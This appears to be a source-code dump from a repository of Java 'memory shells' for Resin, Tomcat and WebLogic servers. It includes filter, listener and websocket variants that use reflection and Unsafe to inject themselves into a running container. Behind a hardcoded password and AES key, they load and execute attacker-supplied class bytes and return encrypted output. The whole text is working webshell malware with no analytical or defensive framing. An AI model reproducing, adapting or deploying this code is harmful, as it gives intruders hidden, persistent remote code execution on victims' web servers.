java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); 226 | } catch (Exception e) { 227 | } 228 | return ret; 229 | } 230 | 231 | private static String base64Encode(byte[] bs) throws Exception { 232 | Class base64; 233 | String value = null; 234 | try { 235 | base64 = Class.forName("java.util.Base64"); 236 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); 237 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{ 238 | byte[].class 239 | }).invoke(Encoder, new Object[]{ 240 | bs 241 | }); 242 | } catch (Exception e) { 243 | try { 244 | base64 = Class.forName("sun.misc.BASE64Encoder"); 245 | Object Encoder = base64.newInstance(); 246 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{ 247 | byte[].class 248 | }).invoke(Encoder, new Object[]{ 249 | bs 250 | }); 251 | } catch (Exception e2) { 252 | } 253 | } 254 | return value; 255 | } 256 | 257 | private static byte[] base64Decode(String bs) throws Exception { 258 | Class base64; 259 | byte[] value = null; 260 | try { 261 | base64 = Class.forName("java.util.Base64"); 262 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); 263 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{ 264 | String.class 265 | }).invoke(decoder, new Object[]{ 266 | bs 267 | }); 268 | } catch (Exception e) { 269 | try { 270 | base64 = Class.forName("sun.misc.BASE64Decoder"); 271 | Object decoder = base64.newInstance(); 272 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{ 273 | String.class 274 | }).invoke(decoder, new Object[]{ 275 | bs 276 | }); 277 | } catch (Exception e2) { 278 | } 279 | } 280 | return value; 281 | } 282 | 283 | 284 | @Override 285 | public void init(FilterConfig filterConfig) throws ServletException { 286 | 287 | } 288 | 289 | @Override 290 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 291 | String contentType = servletRequest.getContentType(); 292 | try { 293 | if (contentType != null && contentType.contains("application/x-www-form-urlencoded")) { 294 | String value = servletRequest.getParameter(password); 295 | if (value != null) { 296 | byte[] data = base64Decode(value); 297 | data = aes(data, false); 298 | if (data != null && data.length > 0) { 299 | if (payloadClass == null) { 300 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 301 | if (loader == null) { 302 | loader = servletRequest.getClass().getClassLoader(); 303 | } 304 | payloadClass = new AesBase64ResinFilterShell(loader).defineClass(data, 0, data.length); 305 | } else { 306 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); 307 | Object f = payloadClass.newInstance(); 308 | f.equals(arrOut); 309 | f.equals(servletRequest); 310 | f.equals(data); 311 | f.toString(); 312 | String md5 = md5(password + key); 313 | if (arrOut.size() > 0) { 314 | PrintWriter printWriter = servletResponse.getWriter(); 315 | printWriter.write(md5.substring(0, 16)); 316 | printWriter.write(base64Encode(aes(arrOut.toByteArray(), true))); 317 | printWriter.write(md5.substring(16)); 318 | return; 319 | } 320 | } 321 | } 322 | } 323 | } 324 | } catch (Throwable e) { 325 | 326 | } 327 | filterChain.doFilter(servletRequest, servletResponse); 328 | } 329 | 330 | @Override 331 | public void destroy() { 332 | 333 | } 334 | } 335 | -------------------------------------------------------------------------------- /TomcatMemoryShell/TomcatMemoryShell.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /TomcatMemoryShell/src/AesBase64TomcatListenerShell.java: -------------------------------------------------------------------------------- 1 | import sun.misc.Unsafe; 2 | 3 | import java.io.PrintWriter; 4 | import java.lang.reflect.*; 5 | import java.util.*; 6 | 7 | public class AesBase64TomcatListenerShell extends ClassLoader implements InvocationHandler { 8 | private static Class payloadClass; 9 | private static Object unsafe; 10 | private String key = "3c6e0b8a9c15224a"; 11 | private String password = "pass"; 12 | 13 | 14 | static { 15 | new AesBase64TomcatListenerShell().addListener(); 16 | } 17 | 18 | public AesBase64TomcatListenerShell(ClassLoader loader) { 19 | super(loader); 20 | } 21 | 22 | public AesBase64TomcatListenerShell() { 23 | 24 | } 25 | 26 | private void addListener() { 27 | try { 28 | Class servletRequestListenerClass = null; 29 | try { 30 | servletRequestListenerClass = loadClasses("jakarta.servlet.ServletRequestListener"); 31 | } catch (Exception e) { 32 | try { 33 | servletRequestListenerClass = loadClasses("javax.servlet.ServletRequestListener"); 34 | } catch (ClassNotFoundException ex) { 35 | 36 | } 37 | } 38 | if (servletRequestListenerClass != null) { 39 | addListener(java.lang.reflect.Proxy.newProxyInstance(servletRequestListenerClass.getClassLoader(), new Class[]{servletRequestListenerClass}, this)); 40 | } 41 | } catch (Throwable e) { 42 | 43 | } 44 | } 45 | 46 | public Class loadClasses(String className) throws ClassNotFoundException { 47 | ArrayList classLoaders = new ArrayList(); 48 | classLoaders.add(this.getClass().getClassLoader()); 49 | try { 50 | classLoaders.add(Thread.currentThread().getContextClassLoader()); 51 | ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); 52 | int threadCount = threadGroup.activeCount(); 53 | Thread[] threads = new Thread[threadCount]; 54 | threadCount = threadGroup.enumerate(threads); 55 | for (int i = 0; i < threadCount; i++) { 56 | classLoaders.add(threads[i].getContextClassLoader()); 57 | } 58 | } catch (Exception e) { 59 | 60 | } 61 | int loaders = classLoaders.size(); 62 | for (int i = 0; i < loaders; i++) { 63 | ClassLoader loader = (ClassLoader) classLoaders.get(i); 64 | if (loader != null) { 65 | try { 66 | return Class.forName(className, true, loader); 67 | } catch (Throwable e) { 68 | 69 | } 70 | } 71 | } 72 | return Class.forName(className); 73 | } 74 | 75 | 76 | public Object[] getStandardContexts() throws Throwable { 77 | HashSet contexts = new HashSet(); 78 | HashSet blackType = new HashSet(); 79 | blackType.add(int.class.getName()); 80 | blackType.add(short.class.getName()); 81 | blackType.add(long.class.getName()); 82 | blackType.add(double.class.getName()); 83 | blackType.add(byte.class.getName()); 84 | blackType.add(float.class.getName()); 85 | blackType.add(char.class.getName()); 86 | blackType.add(boolean.class.getName()); 87 | blackType.add(Integer.class.getName()); 88 | blackType.add(Short.class.getName()); 89 | blackType.add(Long.class.getName()); 90 | blackType.add(Double.class.getName()); 91 | blackType.add(Byte.class.getName()); 92 | blackType.add(Float.class.getName()); 93 | blackType.add(Character.class.getName()); 94 | blackType.add(Boolean.class.getName()); 95 | blackType.add(String.class.getName()); 96 | 97 | Class standardContextClass = loadClasses("org.apache.catalina.core.StandardContext"); 98 | HashSet blackValues = new HashSet(); 99 | blackValues.add(System.identityHashCode(blackValues)); 100 | 101 | Object obj = searchObject(standardContextClass, Thread.currentThread().getContextClassLoader(), blackValues, blackType, 30, 0); 102 | if (obj == null) { 103 | obj = searchObject(standardContextClass, Thread.currentThread(), blackValues, blackType, 30, 0); 104 | } 105 | 106 | if (obj != null) { 107 | contexts.add(obj); 108 | try { 109 | Map contextMap = (Map) getFieldValue(getFieldValue(obj, "parent"), "children"); 110 | contexts.addAll(contextMap.values()); 111 | } catch (Exception e) { 112 | 113 | } 114 | 115 | try { 116 | Map hosts = (Map) getFieldValue(getFieldValue(getFieldValue(obj, "parent"), "parent"), "children"); 117 | Iterator iterator = hosts.values().iterator(); 118 | while (iterator.hasNext()) { 119 | Object host = iterator.next(); 120 | if (host != null) { 121 | Map contextMap = (Map) getFieldValue(host, "children"); 122 | contexts.addAll(contextMap.values()); 123 | } 124 | } 125 | } catch (Exception e) { 126 | 127 | } 128 | } 129 | return contexts.toArray(); 130 | } 131 | 132 | public Object searchObject(Class targetClas, Object object, HashSet blacklist, HashSet blackType, int maxDepth, int currentDepth) throws Throwable { 133 | currentDepth++; 134 | 135 | if (currentDepth >= maxDepth) { 136 | return null; 137 | } 138 | 139 | if (object != null) { 140 | 141 | if (targetClas.isInstance(object)) { 142 | return object; 143 | } 144 | 145 | Integer hash = System.identityHashCode(object); 146 | if (!blacklist.contains(hash)) { 147 | blacklist.add(new Integer(hash)); 148 | Field[] fields = null; 149 | ArrayList fieldsArray = new ArrayList(); 150 | Class objClass = object.getClass(); 151 | while (objClass != null) { 152 | Field[] fields1 = objClass.getDeclaredFields(); 153 | fieldsArray.addAll(Arrays.asList(fields1)); 154 | objClass = objClass.getSuperclass(); 155 | } 156 | fields = (Field[]) fieldsArray.toArray(new Field[0]); 157 | 158 | 159 | for (int i = 0; i < fields.length; i++) { 160 | Field field = fields[i]; 161 | 162 | try { 163 | Class fieldType = field.getType(); 164 | if (!blackType.contains(fieldType.getName())) { 165 | Object fieldValue = getFieldValue(field, object); 166 | if (fieldValue != null) { 167 | Object ret = null; 168 | 169 | if (fieldValue instanceof Map) { 170 | Set set = ((Map) fieldValue).entrySet(); 171 | Iterator iterator = set.iterator(); 172 | while (iterator.hasNext()) { 173 | Map.Entry entry = (Map.Entry) iterator.next(); 174 | ret = searchObject(targetClas, entry.getValue(), blacklist, blackType, maxDepth, currentDepth); 175 | if (ret != null) { 176 | break; 177 | } 178 | ret = searchObject(targetClas, entry.getKey(), blacklist, blackType, maxDepth, currentDepth); 179 | if (ret != null) { 180 | break; 181 | } 182 | } 183 | } else if (fieldValue instanceof Iterable) { 184 | Iterator iterator = ((Iterable) fieldValue).iterator(); 185 | while (iterator.hasNext()) { 186 | ret = searchObject(targetClas, iterator.next(), blacklist, blackType, maxDepth, currentDepth); 187 | if (ret != null) { 188 | break; 189 | } 190 | } 191 | } else if (fieldType.isArray()) { 192 | if (!blackType.contains(fieldType.getComponentType().getName())) { 193 | int arraySize = Array.getLength(fieldValue); 194 | for (int j = 0; j < arraySize; j++) { 195 | ret = searchObject(targetClas, Array.get(fieldValue, j), blacklist, blackType, maxDepth, currentDepth); 196 | if (ret != null) { 197 | break; 198 | } 199 | } 200 | } 201 | } else { 202 | ret = searchObject(targetClas, fieldValue, blacklist, blackType, maxDepth, currentDepth); 203 | } 204 | if (ret != null) { 205 | return ret; 206 | } 207 | } 208 | } 209 | } catch (Throwable e) { 210 | 211 | } 212 | } 213 | } 214 | } 215 | return null; 216 | 217 | } 218 | 219 | private boolean addListener(Object listener) throws Throwable { 220 | Object[] standardContexts = getStandardContexts(); 221 | 222 | boolean isOk = false; 223 | 224 | for (int i = 0; i < standardContexts.length; i++) { 225 | Object standardContext = standardContexts[i]; 226 | Object[] listenerObjects = null; 227 | try { 228 | listenerObjects = (Object[]) getFieldValue(standardContext, "applicationEventListenersObjects"); 229 | } catch (Exception e) { 230 | 231 | } 232 | 233 | List listenerList = null; 234 | 235 | try { 236 | listenerList = (List) getFieldValue(standardContext, "applicationEventListenersList"); 237 | } catch (Exception e) { 238 | 239 | } 240 | 241 | 242 | if (listenerObjects != null) { 243 | Object[] newListenerObjects = new Object[listenerObjects.length + 1]; 244 | System.arraycopy(listenerObjects, 0, newListenerObjects, 0, listenerObjects.length); 245 | newListenerObjects[newListenerObjects.length - 1] = listener; 246 | getField(standardContext, "applicationEventListenersObjects").set(standardContext, newListenerObjects); 247 | isOk = true; 248 | } else if (listenerList != null) { 249 | listenerList.add(listener); 250 | isOk = true; 251 | } else { 252 | try { 253 | Method addApplicationEventListenerMethod = getMethodByClass(standardContext.getClass(), "addApplicationEventListener", Object.class); 254 | addApplicationEventListenerMethod.setAccessible(true); 255 | addApplicationEventListenerMethod.invoke(standardContext, listener); 256 | isOk = true; 257 | } catch (Exception e) { 258 | 259 | } 260 | } 261 | 262 | } 263 | 264 | 265 | return isOk; 266 | } 267 | 268 | 269 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { 270 | if (method.getName().equals("requestInitialized")) { 271 | Object servletRequestEvent = args[0]; 272 | run(servletRequestEvent); 273 | } 274 | return null; 275 | } 276 | 277 | private Object invokeMethod(Object obj, String methodName, Object... parameters) { 278 | try { 279 | ArrayList classes = new ArrayList(); 280 | if (parameters != null) { 281 | for (int i = 0; i < parameters.length; i++) { 282 | Object o1 = parameters[i]; 283 | if (o1 != null) { 284 | classes.add(o1.getClass()); 285 | } else { 286 | classes.add(null); 287 | } 288 | } 289 | } 290 | Method method = getMethodByClass(obj.getClass(), methodName, (Class[]) classes.toArray(new Class[]{})); 291 | 292 | return method.invoke(obj, parameters); 293 | } catch (Exception e) { 294 | // e.printStackTrace(); 295 | } 296 | return null; 297 | } 298 | 299 | private Method getMethodByClass(Class cs, String methodName, Class... parameters) { 300 | Method method = null; 301 | while (cs != null) { 302 | try { 303 | method = cs.getMethod(methodName, parameters); 304 | cs = null; 305 | } catch (Exception e) { 306 | cs = cs.getSuperclass(); 307 | } 308 | } 309 | 310 | if (method != null) { 311 | try { 312 | method.setAccessible(true); 313 | } catch (Throwable e) { 314 | 315 | } 316 | } 317 | 318 | return method; 319 | } 320 | 321 | public Unsafe getUnsafe() throws Exception { 322 | if (unsafe == null) { 323 | Class unsafeClass = Class.forName("sun.misc.Unsafe"); 324 | Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe"); 325 | theUnsafe.setAccessible(true); 326 | unsafe = theUnsafe.get(null); 327 | } 328 | return (Unsafe) unsafe; 329 | } 330 | 331 | public Field getField(Object obj, String fieldName) { 332 | Class clazz = null; 333 | 334 | if (obj == null) { 335 | return null; 336 | } 337 | 338 | if (obj instanceof Class) { 339 | clazz = (Class) obj; 340 | } else { 341 | clazz = obj.getClass(); 342 | } 343 | Field field = null; 344 | while (clazz != null) { 345 | try { 346 | field = clazz.getDeclaredField(fieldName); 347 | clazz = null; 348 | } catch (Exception e) { 349 | clazz = clazz.getSuperclass(); 350 | } 351 | } 352 | 353 | if (field != null) { 354 | field.setAccessible(true); 355 | } 356 | 357 | return field; 358 | } 359 | 360 | public Object getFieldValue(Object obj, String fieldName) throws Exception { 361 | Field f = null; 362 | if (obj instanceof Field) { 363 | f = (Field) obj; 364 | } else { 365 | f = getField(obj, fieldName); 366 | } 367 | 368 | if (f != null) { 369 | return getFieldValue(f, obj); 370 | } 371 | return null; 372 | } 373 | 374 | public Object getFieldValue(Field field, Object value) throws Exception { 375 | try { 376 | field.setAccessible(true); 377 | } catch (Exception e) { 378 | Unsafe unsafe = getUnsafe(); 379 | if (!field.getType().isPrimitive()) { 380 | if (Modifier.isStatic(field.getModifiers())) { 381 | return unsafe.staticFieldBase(field); 382 | } else { 383 | return unsafe.getObject(value, unsafe.objectFieldOffset(field)); 384 | } 385 | } 386 | } 387 | return field.get(value); 388 | } 389 | 390 | public void setFieldValue(Object obj, String fieldName, Object value) throws Exception { 391 | Field f = getField(obj, fieldName); 392 | if (f != null) { 393 | setFieldValue(f, obj, value); 394 | } 395 | } 396 | 397 | public void setFieldValue(Field field, Object obj, Object value) throws Exception { 398 | try { 399 | field.setAccessible(true); 400 | } catch (Exception e) { 401 | Unsafe unsafe = getUnsafe(); 402 | if (!field.getType().isPrimitive()) { 403 | if (Modifier.isStatic(field.getModifiers())) { 404 | unsafe.putObject(obj.getClass(), unsafe.staticFieldOffset(field), value); 405 | } else { 406 | unsafe.putObject(obj, unsafe.objectFieldOffset(field), value); 407 | } 408 | return; 409 | } 410 | } 411 | field.set(obj, value); 412 | } 413 | 414 | public String getParameter(Object requestObject, String name) { 415 | return (String) invokeMethod(requestObject, "getParameter", name); 416 | } 417 | 418 | public String getContentType(Object requestObject) { 419 | return (String) invokeMethod(requestObject, "getContentType"); 420 | } 421 | 422 | 423 | public byte[] aes(byte[] s, boolean m) { 424 | try { 425 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); 426 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES")); 427 | return c.doFinal(s); 428 | } catch (Exception e) { 429 | return null; 430 | } 431 | } 432 | 433 | public String md5(String s) { 434 | String ret = null; 435 | try { 436 | java.security.MessageDigest m; 437 | m = java.security.MessageDigest.getInstance("MD5"); 438 | m.update(s.getBytes(), 0, s.length()); 439 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); 440 | } catch (Exception e) { 441 | } 442 | return ret; 443 | } 444 | 445 | public String base64Encode(byte[] bs) throws Exception { 446 | Class base64; 447 | String value = null; 448 | try { 449 | base64 = Class.forName("java.util.Base64"); 450 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); 451 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); 452 | } catch (Exception e) { 453 | try { 454 | base64 = Class.forName("sun.misc.BASE64Encoder"); 455 | Object Encoder = base64.newInstance(); 456 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); 457 | } catch (Exception e2) { 458 | } 459 | } 460 | return value; 461 | } 462 | 463 | public byte[] base64Decode(String bs) throws Exception { 464 | Class base64; 465 | byte[] value = null; 466 | try { 467 | base64 = Class.forName("java.util.Base64"); 468 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); 469 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 470 | } catch (Exception e) { 471 | try { 472 | base64 = Class.forName("sun.misc.BASE64Decoder"); 473 | Object decoder = base64.newInstance(); 474 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 475 | } catch (Exception e2) { 476 | } 477 | } 478 | return value; 479 | } 480 | 481 | private void run(Object servletRequestEvent) { 482 | try { 483 | Object request = invokeMethod(servletRequestEvent, "getServletRequest"); 484 | Object response = getFieldValue(getFieldValue(request, "request"), "response"); 485 | 486 | if (response == null) { 487 | response = getFieldValue(request, "response"); 488 | } 489 | 490 | try { 491 | String contentType = getContentType(request); 492 | if (contentType != null && contentType.contains("application/x-www-form-urlencoded")) { 493 | String value = getParameter(request, password); 494 | if (value != null) { 495 | byte[] data = base64Decode(value); 496 | data = aes(data, false); 497 | if (data != null && data.length > 0) { 498 | if (payloadClass == null) { 499 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 500 | if (loader == null) { 501 | loader = request.getClass().getClassLoader(); 502 | } 503 | 504 | payloadClass = new AesBase64TomcatListenerShell(loader).defineClass(data, 0, data.length); 505 | } else { 506 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); 507 | Object f = payloadClass.newInstance(); 508 | f.equals(arrOut); 509 | f.equals(request); 510 | f.equals(data); 511 | f.toString(); 512 | String md5 = md5(password + key); 513 | if (arrOut.size() > 0) { 514 | PrintWriter printWriter = (PrintWriter) invokeMethod(response, "getWriter"); 515 | printWriter.write(md5.substring(0, 16)); 516 | printWriter.write(base64Encode(aes(arrOut.toByteArray(), true))); 517 | printWriter.write(md5.substring(16)); 518 | printWriter.flush(); 519 | printWriter.close(); 520 | setFieldValue(response, "usingWriter", Boolean.FALSE); 521 | setFieldValue(response, "usingOutputStream", Boolean.FALSE); 522 | setFieldValue(response, "appCommitted", Boolean.FALSE); 523 | setFieldValue(getFieldValue(response, "coyoteResponse"), "committed", Boolean.FALSE); 524 | } 525 | } 526 | } 527 | } 528 | } 529 | 530 | } catch (Throwable ignored) { 531 | } 532 | } catch (Throwable ignored) { 533 | 534 | } 535 | } 536 | 537 | } 538 | -------------------------------------------------------------------------------- /TomcatMemoryShell/src/AesTomcatWebsocketShell.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.ServletContext; 2 | import javax.websocket.Endpoint; 3 | import javax.websocket.EndpointConfig; 4 | import javax.websocket.MessageHandler; 5 | import javax.websocket.Session; 6 | import javax.websocket.server.ServerContainer; 7 | import javax.websocket.server.ServerEndpointConfig; 8 | import java.io.ByteArrayOutputStream; 9 | import java.io.IOException; 10 | import java.lang.reflect.Array; 11 | import java.lang.reflect.Field; 12 | import java.lang.reflect.Method; 13 | import java.net.URL; 14 | import java.net.URLClassLoader; 15 | import java.nio.ByteBuffer; 16 | import java.util.ArrayList; 17 | import java.util.Arrays; 18 | import java.util.HashSet; 19 | import java.util.Map; 20 | 21 | public class AesTomcatWebsocketShell extends Endpoint implements MessageHandler.Whole{ 22 | private static boolean initialized = false; 23 | private static final Object lock = new Object(); 24 | private Class payload = null; 25 | private Session session = null; 26 | private String xc = "3c6e0b8a9c15224a"; 27 | private String pass = "pass"; 28 | 29 | 30 | static { 31 | new AesTomcatWebsocketShell(); 32 | } 33 | 34 | public AesTomcatWebsocketShell(){ 35 | synchronized (lock){ 36 | if (!initialized){ 37 | initialized = true; 38 | try { 39 | addEndpoint(this); 40 | }catch (Throwable ignored){ 41 | 42 | } 43 | } 44 | } 45 | } 46 | 47 | public AesTomcatWebsocketShell(Session session){ 48 | this.session = session; 49 | } 50 | 51 | private static Object[] getStandardContexts() throws Throwable { 52 | HashSet contexts = new HashSet(); 53 | HashSet blackType = new HashSet(); 54 | blackType.add(int.class.getName()); 55 | blackType.add(short.class.getName()); 56 | blackType.add(long.class.getName()); 57 | blackType.add(double.class.getName()); 58 | blackType.add(byte.class.getName()); 59 | blackType.add(float.class.getName()); 60 | blackType.add(char.class.getName()); 61 | blackType.add(boolean.class.getName()); 62 | blackType.add(Integer.class.getName()); 63 | blackType.add(Short.class.getName()); 64 | blackType.add(Long.class.getName()); 65 | blackType.add(Double.class.getName()); 66 | blackType.add(Byte.class.getName()); 67 | blackType.add(Float.class.getName()); 68 | blackType.add(Character.class.getName()); 69 | blackType.add(Boolean.class.getName()); 70 | blackType.add(String.class.getName()); 71 | 72 | Object obj = searchObject("org.apache.catalina.core.StandardContext",Thread.currentThread(),new HashSet(),blackType,30,0); 73 | if (obj != null) { 74 | contexts.add(obj); 75 | try { 76 | Map contextMap = (Map) getFieldValue(getFieldValue(obj,"parent"),"children"); 77 | contexts.addAll(contextMap.values()); 78 | }catch (Exception e){ 79 | 80 | } 81 | } 82 | return contexts.toArray(); 83 | } 84 | private static Object searchObject(String targetClassName, Object object, HashSet blacklist,HashSet blackType,int maxDepth,int currentDepth)throws Throwable { 85 | currentDepth++; 86 | 87 | if (currentDepth >= maxDepth){ 88 | return null; 89 | } 90 | 91 | if (object != null){ 92 | 93 | if (targetClassName.equals(object.getClass().getName())){ 94 | return object; 95 | } 96 | 97 | Integer hash = System.identityHashCode(object); 98 | if (!blacklist.contains(hash)) { 99 | blacklist.add(new Integer(hash)); 100 | Field[] fields = null; 101 | ArrayList fieldsArray = new ArrayList(); 102 | Class objClass = object.getClass(); 103 | while (objClass != null){ 104 | Field[] fields1 = objClass.getDeclaredFields(); 105 | fieldsArray.addAll(Arrays.asList(fields1)); 106 | objClass = objClass.getSuperclass(); 107 | } 108 | fields = (Field[]) fieldsArray.toArray(new Field[0]); 109 | 110 | 111 | for (int i = 0; i < fields.length; i++) { 112 | Field field = fields[i]; 113 | 114 | try { 115 | field.setAccessible(true); 116 | Class fieldType = field.getType(); 117 | if (!blackType.contains(fieldType.getName())){ 118 | Object fieldValue = field.get(object); 119 | if (fieldValue != null){ 120 | Object ret = null; 121 | if (fieldType.isArray()){ 122 | if (!blackType.contains(fieldType.getComponentType().getName())){ 123 | int arraySize = Array.getLength(fieldValue); 124 | for (int j = 0; j < arraySize; j++) { 125 | ret = searchObject(targetClassName,Array.get(fieldValue,j),blacklist,blackType,maxDepth,currentDepth); 126 | if (ret!= null){ 127 | break; 128 | } 129 | } 130 | } 131 | }else{ 132 | ret = searchObject(targetClassName,fieldValue,blacklist,blackType,maxDepth,currentDepth); 133 | } 134 | if (ret!= null){ 135 | return ret; 136 | } 137 | } 138 | } 139 | }catch (Throwable e){ 140 | 141 | } 142 | } 143 | } 144 | } 145 | return null; 146 | 147 | } 148 | private static boolean canAdd(Object obj,String path) { 149 | try { 150 | java.lang.reflect.Method method = obj.getClass().getMethod("findMapping",new Class[]{String.class}); 151 | if (method.invoke(obj,new Object[]{ path }) != null){ 152 | return false; 153 | } 154 | }catch (Throwable t) { 155 | 156 | } 157 | return true; 158 | } 159 | private boolean addEndpoint(Endpoint endpoint) throws Throwable { 160 | Object[] standardContexts = getStandardContexts(); 161 | 162 | boolean isOk = false; 163 | 164 | for (int i = 0; i < standardContexts.length; i++) { 165 | Object standardContext = standardContexts[i]; 166 | try { 167 | int maxBinaryMessageBufferSize = 10485760; 168 | ServletContext servletContext = (ServletContext) standardContext.getClass().getMethod("getServletContext").invoke(standardContext); 169 | String websocketPath = String.format("/%s",pass); 170 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(endpoint.getClass(),websocketPath).build(); 171 | ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); 172 | try { 173 | if (canAdd(container,websocketPath)){ 174 | if (container.getDefaultMaxBinaryMessageBufferSize() < maxBinaryMessageBufferSize){ 175 | container.setDefaultMaxBinaryMessageBufferSize(maxBinaryMessageBufferSize); 176 | } 177 | container.addEndpoint(configEndpoint); 178 | isOk = true; 179 | } 180 | } catch (Throwable e) { 181 | 182 | } 183 | }catch (Throwable e){ 184 | 185 | } 186 | } 187 | 188 | 189 | return isOk; 190 | } 191 | 192 | private static Field getField(Object obj, String fieldName){ 193 | Class clazz = null; 194 | 195 | if(obj == null){ 196 | return null; 197 | } 198 | 199 | if (obj instanceof Class){ 200 | clazz = (Class)obj; 201 | }else { 202 | clazz = obj.getClass(); 203 | } 204 | Field field = null; 205 | while (clazz!=null){ 206 | try { 207 | field = clazz.getDeclaredField(fieldName); 208 | clazz = null; 209 | }catch (Exception e){ 210 | clazz = clazz.getSuperclass(); 211 | } 212 | } 213 | 214 | if (field != null){ 215 | field.setAccessible(true); 216 | } 217 | 218 | return field; 219 | } 220 | private static Object getFieldValue(Object obj, String fieldName) throws Exception { 221 | Field f=null; 222 | if (obj instanceof Field){ 223 | f=(Field)obj; 224 | }else { 225 | f = getField(obj, fieldName); 226 | } 227 | if (f != null) { 228 | return f.get(obj); 229 | } 230 | return null; 231 | } 232 | private byte[] aes(byte[] s,boolean m){ 233 | try{ 234 | javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES"); 235 | c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES")); 236 | return c.doFinal(s); 237 | }catch (Exception e){ 238 | return null; 239 | } 240 | } 241 | 242 | public void onOpen(Session session, EndpointConfig endpointConfig) { 243 | session.addMessageHandler(new AesTomcatWebsocketShell(session)); 244 | } 245 | 246 | private Class defClass(byte[] classBytes) throws Throwable { 247 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],AesTomcatWebsocketShell.class.getClassLoader()); 248 | Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 249 | defineClassMethod.setAccessible(true); 250 | return (Class) defineClassMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); 251 | } 252 | 253 | public void onMessage(ByteBuffer byteBuffer) { 254 | try { 255 | int limit = byteBuffer.limit(); 256 | byte[] data = new byte[limit]; 257 | byteBuffer.get(data,0,limit); 258 | data = aes(data,false); 259 | byte[] response = new byte[0]; 260 | if (payload == null) { 261 | payload = defClass(data); 262 | }else { 263 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 264 | Object obj = payload.newInstance(); 265 | obj.equals(data); 266 | obj.equals(bos); 267 | obj.toString(); 268 | response = bos.toByteArray(); 269 | } 270 | session.getBasicRemote().sendBinary(ByteBuffer.wrap(aes(response,true))); 271 | }catch (Throwable e){ 272 | try { 273 | session.close(); 274 | } catch (IOException ex) { 275 | 276 | } 277 | } 278 | } 279 | } 280 | -------------------------------------------------------------------------------- /WeblogicMemoryShell/WeblogicMemoryShell.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /WeblogicMemoryShell/src/AesBase64WeblogicFilterShell.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.*; 2 | import java.io.IOException; 3 | import java.io.PrintWriter; 4 | import java.lang.reflect.*; 5 | import java.util.*; 6 | 7 | //weblogic 10.3.6 - weblogic 14 8 | public class AesBase64WeblogicFilterShell extends ClassLoader implements Filter { 9 | private static Class payloadClass; 10 | private String key = "3c6e0b8a9c15224a"; 11 | private String password = "pass"; 12 | 13 | 14 | static { 15 | new AesBase64WeblogicFilterShell().addFilter(); 16 | } 17 | 18 | public AesBase64WeblogicFilterShell(ClassLoader loader){ 19 | super(loader); 20 | } 21 | 22 | public AesBase64WeblogicFilterShell(){ 23 | 24 | } 25 | 26 | private void addFilter() { 27 | try { 28 | addFilter(this.getClass()); 29 | } catch (Throwable e) { 30 | 31 | } 32 | } 33 | 34 | private static Object[] getContextsByMbean() throws Throwable { 35 | HashSet webappContexts = new HashSet(); 36 | Class serverRuntimeClass = loadClassEx("weblogic.t3.srvr.ServerRuntime"); 37 | Class webAppServletContextClass = loadClassEx("weblogic.servlet.internal.WebAppServletContext"); 38 | Method theOneMethod = serverRuntimeClass.getMethod("theOne"); 39 | theOneMethod.setAccessible(true); 40 | Object serverRuntime = theOneMethod.invoke(null); 41 | 42 | Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); 43 | getApplicationRuntimesMethod.setAccessible(true); 44 | Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); 45 | int applicationRuntimeSize = Array.getLength(applicationRuntimes); 46 | for (int i = 0; i < applicationRuntimeSize; i++) { 47 | Object applicationRuntime = Array.get(applicationRuntimes,i); 48 | 49 | try { 50 | Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes"); 51 | Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime); 52 | int componentRuntimeSize = Array.getLength(componentRuntimes); 53 | for (int j = 0; j < componentRuntimeSize; j++) { 54 | Object context = getFieldValue(Array.get(componentRuntimes,j),"context"); 55 | if (webAppServletContextClass.isInstance(context)){ 56 | webappContexts.add(context); 57 | } 58 | } 59 | }catch (Throwable 